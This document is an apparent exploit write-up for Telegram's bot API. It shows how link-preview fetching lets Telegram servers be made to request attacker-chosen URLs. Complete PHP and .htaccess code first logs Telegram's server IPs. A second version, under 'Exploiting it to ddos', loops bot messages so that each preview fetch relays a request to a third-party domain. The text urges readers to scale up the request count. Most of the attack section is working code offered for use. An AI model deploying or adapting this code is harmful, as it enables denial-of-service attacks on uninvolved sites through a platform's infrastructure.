# Description :
==============================
In new version of telegram bot api, a new object called "MessageEntity" permits you that send Urls as
message. By this object, We can achieve GET request from telegram server.
Telegram doesn't check that the image is real or not, and also it doesn't have a captcha or securtiy token
so we can run our php files through Telegram Server
==============================
# Proof Of Concepts :
==============================
In this section, I'll show you that how you can grab telegram Server IP
create a folder named "tg" on your host and create a .htaccess file in that with the following contents:
-------------
ErrorDocument 404 /tg/log.php
-------------
And this is the "log.php":
--------------------------------------------
<?php
function getUserIP()
{
$client = @$_SERVER['HTTP_CLIENT_IP'];
$forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
$remote = $_SERVER['REMOTE_ADDR'];
if(filter_var($client, FILTER_VALIDATE_IP))
{
$ip = $client;
}
elseif(filter_var($forward, FILTER_VALIDATE_IP))
{
$ip = $forward;
}
else
{
$ip = $remote;
}
return $ip. PHP_EOL;
}
$user_ip = getUserIP();
$logfile= 'log.txt';
$fp = fopen($logfile, "a");
fwrite($fp, $user_ip, strlen($user_ip));
fclose($fp);
?>
----------------------------------------------
and a file called "request.php" with this contets:
-----------------------
<?php
function random_string($length) {
$key = '';
$keys = array_merge(range(0, 9), range('a', 'z'));
for ($i = 0; $i < $length; $i++) {
$key .= $keys[array_rand($keys)];
}
return $key;
}
$update = json_decode(file_get_contents('php://input'));
$rep=json_decode(file_get_contents("https://api.telegram.org/bot[YOUR BOT Token]/SendMessage?chat_id=".$update->message->chat->id."&parse_mode=HTML&text=".urldecode("<a href=\"https://YOUR HOST.com/tg/".random_string(50).".png\">".'test'."</a>")));
?>
-------------------------
Then activate WebHook for you bot and set the "request.php" address for web hook,
Then, Send a message to your bot, if you do everything right, the IP will write on "log.txt" file

************ Exploiting it to ddos
************
Change request.php with this:
--------------------------------------------
<?php
function random_string($length) {
$key = '';
$keys = array_merge(range(0, 9), range('a', 'z'));
for ($i = 0; $i < $length; $i++) {
$key .= $keys[array_rand($keys)];
}
return $key;
}
$update = json_decode(file_get_contents('php://input'));
for($i=0;$i<100;$i++){
$rep=json_decode(file_get_contents("https://api.telegram.org/bot[YOUR BOT Token]/SendMessage?chat_id=".$update->message->chat->id."&parse_mode=HTML&text=".urldecode("<a href=\"https://YOUR HOST.com/tg/".random_string(50).".png\">".'test'."</a>")));
}
?>
--------------------------------------------
and change log.php with this:
--------------------------------------------
<?php
echo file_get_contents("http://exampledomain.com");
?>
---------------------------------------------
This code will send 100 requests to "exampledomain.com" from telegram IP
You can increase or decrease the request numbers depending on your server features
Also you can exploit it through IRC servers if your server is not strong.
